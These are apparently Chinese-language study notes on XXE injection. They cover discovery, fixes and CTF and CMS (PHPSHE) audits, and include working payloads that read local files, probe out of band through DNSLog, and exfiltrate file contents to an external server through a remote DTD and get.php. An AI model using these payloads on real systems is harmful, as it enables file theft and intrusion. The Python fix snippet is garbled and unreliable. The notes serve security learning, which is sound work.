#知识点:
1、XML&XXE-原理&发现&利用&修复等
2、XML&XXE-黑盒模式下的发现与利用
3、XML&XXE-白盒模式下的审计与利用
4、XML&XXE-无回显&伪协议&产生层面
#思路点:
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
-XXE 黑盒发现:
1、获取得到 Content-Type 或数据类型为 xml 时,尝试进行 xml 语言 payload 进行测试
2、不管获取的 Content-Type 类型或数据传输类型,均可尝试修改后提交测试 xxe
3、XXE 不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成
文件中的 XXE Payload 被执行
-XXE 白盒发现: ------针对于xml的相关函数搜索,会增加查找XXE漏洞
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
#详细点:
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可
选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的
信息传输工具。
XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
XXE 修复防御方案:
-方案 1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferenc
es(false);
Python:
From lxml.import etreexmlData =
Etree.parse(xmlSource.etree.XMLParser(resolve_entitles=False))
方案2-过滤用户提交的XML数据:
过滤关键词:<!DOCTYPE>和<!ENTITY>,或者SYSTEM和PUBLIC
Ø XML&XXE-黑盒-原理&探针&利用&玩法等
Ø XML&XXE-前端-CTF&Jarvisoj&探针&利用
Ø XML&XXE-白盒-CMS&PHPSHE&无回显审计
#XML&XXE-黑盒-原理&探针&利用&玩法等
辨别xml和html的数据包:
Xml:php_xxe
Html:
对xml进行分析
通过数据包进行白盒分析 doLogin.php
分析loadXML函数
同时,也能判断出此网页会对解析后的代码进行回显,那此时如果我们对其加入恶意代码让其进行执行,那可以实现:
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/e.txt">
]>
<user><username>&test;</username><password>Mikasa</password></use
r>
读取到本地D盘e.txt的文件内容
1.1、带外测试:
指内部服务器能通过某漏洞,将数据外带到外部域名中 DNSLog Platform
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></use
r>
收到了内部的IP情况
因此,可以从到无回显的网页中,排去无回显的其他原因(代码写错、网络问题、没有漏洞等情况),当工具网页中,出现了来自内部的iP,则说明XXE漏洞存在,只是不回显数据
2.外部引用实体(有回显) dtd:
利用远程地址让远程地址中的文件evil2.dtd 执行恶意代码
解决了数据拦截防护过滤的问题
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></use
r>
evil2.dtd
<!ENTITY send SYSTEM "file:///d:/e.txt">
3.无回显读文件
将读取到的文件信息,保存到指定地址中,并让本地接收的文件写入get.php,对读取的文件信息进行收集保存到本地file.txt
Payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM
'http://47.94.236.117/get.php?file=%file;'>">
Get.php
4、其他玩法(协议)-见参考地址
#XML&XXE-前端-CTF&Jarvisoj&探针&利用
通过数据包分析,它是以json形式
但是我们通过查看源代码,得知关键的信息
可以得知它其实是做了二次处理的,将第一次的数据为xml,然后进行json处理
所以输入payload,并修改type值:将json改为xml
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&test;</x>
#XML&XXE-白盒-CMS&PHPSHE&无回显审计
-XXE 白盒发现: ------针对于xml的相关函数搜索,会增加查找XXE漏洞
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
simplexml_load_string
内容确定,得知此函数是在一个函数里面,所以我们要去看看谁调用了这个函数
pe_getxmlpe_getxml
同理,继续看谁调用函数wechat_getxml
找到了notify_url.php,对其进行网页安全测试
Payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///d:/1.txt">
]>
<x>&test;</x>
发现没有回显出数据来
所以用外带来进行确认漏洞是否存在
出现ip回显,则说明确实存在XXE
所以直接判定为无回显的XXE漏洞:
分析代码:输出的地方没有设计到变量,所以没有数据是合理的
那就远程读取文件,将文件进行保存,再用get.php进行读取,存入file.txt文件,获取相关内容